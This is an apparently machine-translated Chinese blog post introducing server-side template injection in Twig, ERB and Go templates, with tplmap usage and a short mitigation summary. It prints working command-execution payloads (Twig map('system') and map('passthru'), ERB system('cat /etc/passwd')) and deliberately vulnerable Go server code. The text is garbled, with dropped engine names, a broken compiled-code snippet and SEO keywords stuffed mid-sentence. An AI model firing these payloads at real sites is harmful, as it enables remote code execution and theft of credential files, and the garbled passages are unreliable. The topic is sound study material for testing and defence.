php代碼注入漏洞 PHP模板引擎和注入漏洞Twig(PHP)(圖)php代碼注入
2022-04-27
SSTI簡介
MVC
MVC是一種框架模式,全稱是View。
即模型()-視圖(視圖)-控制器()
在MVC指導(dǎo)下的開發(fā)中,采用業(yè)務(wù)邏輯、數(shù)據(jù)、界面展示分離的方式組織代碼,將業(yè)務(wù)邏輯聚合成一個組件。在改進和定制界面和用戶交互的同時php代碼注入漏洞,更具有良好的開發(fā)和維護效率。
在MVC框架中,通過View接收用戶的輸入,交出,然后通過調(diào)用或者其他的方式處理,最后返回給View,這樣最終展現(xiàn)在我們面前,那么這里的View將廣泛使用一種稱為模板的技術(shù)。
繞過服務(wù)器接收用戶的惡意輸入后,作為Web應(yīng)用程序模板內(nèi)容的一部分,不做任何處理,模板引擎執(zhí)行用戶插入的模板,可以在執(zhí)行過程中破壞模板目標(biāo)編譯和渲染過程。語句,會導(dǎo)致敏感信息泄露、代碼執(zhí)行等。
雖然市場上關(guān)于SSTI的大部分問題都在上面,但請不要以為這種攻擊方式只存在于.無論在何處使用模板,都可能出現(xiàn) SSTI 問題。 SSTI 不屬于任何一種語言。
常見的模板引擎和注入漏洞
樹枝(PHP)
首先介紹帶有Twig模板引擎的SSTI。很多情況下,SSTI發(fā)生在用戶輸入直接作為模板的時候,比如下面的代碼
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
注入$_GET['name']時,會觸發(fā)SSTI
下面的代碼沒有,因為模板引擎解析的是字符串常量中的{{name}},而不是動態(tài)拼接的$_GET["name"]
'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
對于模板引擎的使用,經(jīng)常會使用模板中的一些方法來達(dá)到攻擊的目的,比如Twig中的 map
一個經(jīng)典的例子
{{["man"]|map((arg)=>" #{arg}")}}
會這樣編譯
([0 => "id"], ($) 使用 ($, $) { $["arg"] = $; (" " . ($["arg"] ?? null))
p>
關(guān)于這個,源碼是這樣的
可以看到傳入的$是作為函數(shù)執(zhí)行的,所以不用傳遞,直接傳遞一個字符串,找到一個帶兩個參數(shù)的危險函數(shù),可以通過命令執(zhí)行
例如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
同樣的,我們也可以找到一些其他的過濾器排序,網(wǎng)上也有介紹,不再贅述。
當(dāng)然,SSTI 也有一個基本的方法來使用它來泄漏源代碼和程序環(huán)境中的上下文信息。在Twig引擎中網(wǎng)站模板,我們可以通過以下方法獲取當(dāng)前應(yīng)用的一些信息
{{_self}} #指向當(dāng)前應(yīng)用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
ERB(紅寶石)
相比Twig,ERB的代碼直接提供了一些命令執(zhí)行接口,比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
這里主要是介紹一些模板標(biāo)簽的分類
例如這里使用ERB模板標(biāo)簽,Twig使用{{}}。根據(jù)一些簡單的poc和tag分類,我們可以快速識別出是否存在模板漏洞以及使用的模板引擎技術(shù)
當(dāng)然有些模板引擎標(biāo)簽是可以自定義的,上面列出的只是默認(rèn)的
SSTI
關(guān)于 SSTI 的研究仍然相對較少網(wǎng)站制作,可能是因為它被設(shè)計為更安全。
但是通過 {{.}} 我們可以得到范圍
如下例所示
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `
` + x + `
`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
可以獲取范圍對象
進一步拿到flag
即使作用域內(nèi)有可利用的函數(shù),我們也可以調(diào)用該函數(shù)來完成攻擊php代碼注入漏洞,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
有
/
這個引擎應(yīng)該出鏡率最高,能寫很多東西。限于篇幅,具體內(nèi)容將記錄在(下)中。
常用檢測工具
工具地址:
符合設(shè)計風(fēng)格,直接拍就行了
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
總結(jié)
SSTI 是 MVC 架構(gòu)中常見的問題類型。除了本文介紹的幾個引擎外,還有很多受影響的引擎,例如 .這個問題主要是開發(fā)者直接將用戶輸入作為模板交給模板引擎渲染造成的。將用戶輸入綁定到模板的參數(shù)可以緩解這個問題。通過SSTI,我們往往可以獲取程序運行的上下文,甚至可以利用模板引擎的內(nèi)置方法完成遠(yuǎn)程代碼注入等高危攻擊。
我整理了有關(guān)網(wǎng)絡(luò)安全的學(xué)習(xí)資料和指導(dǎo)書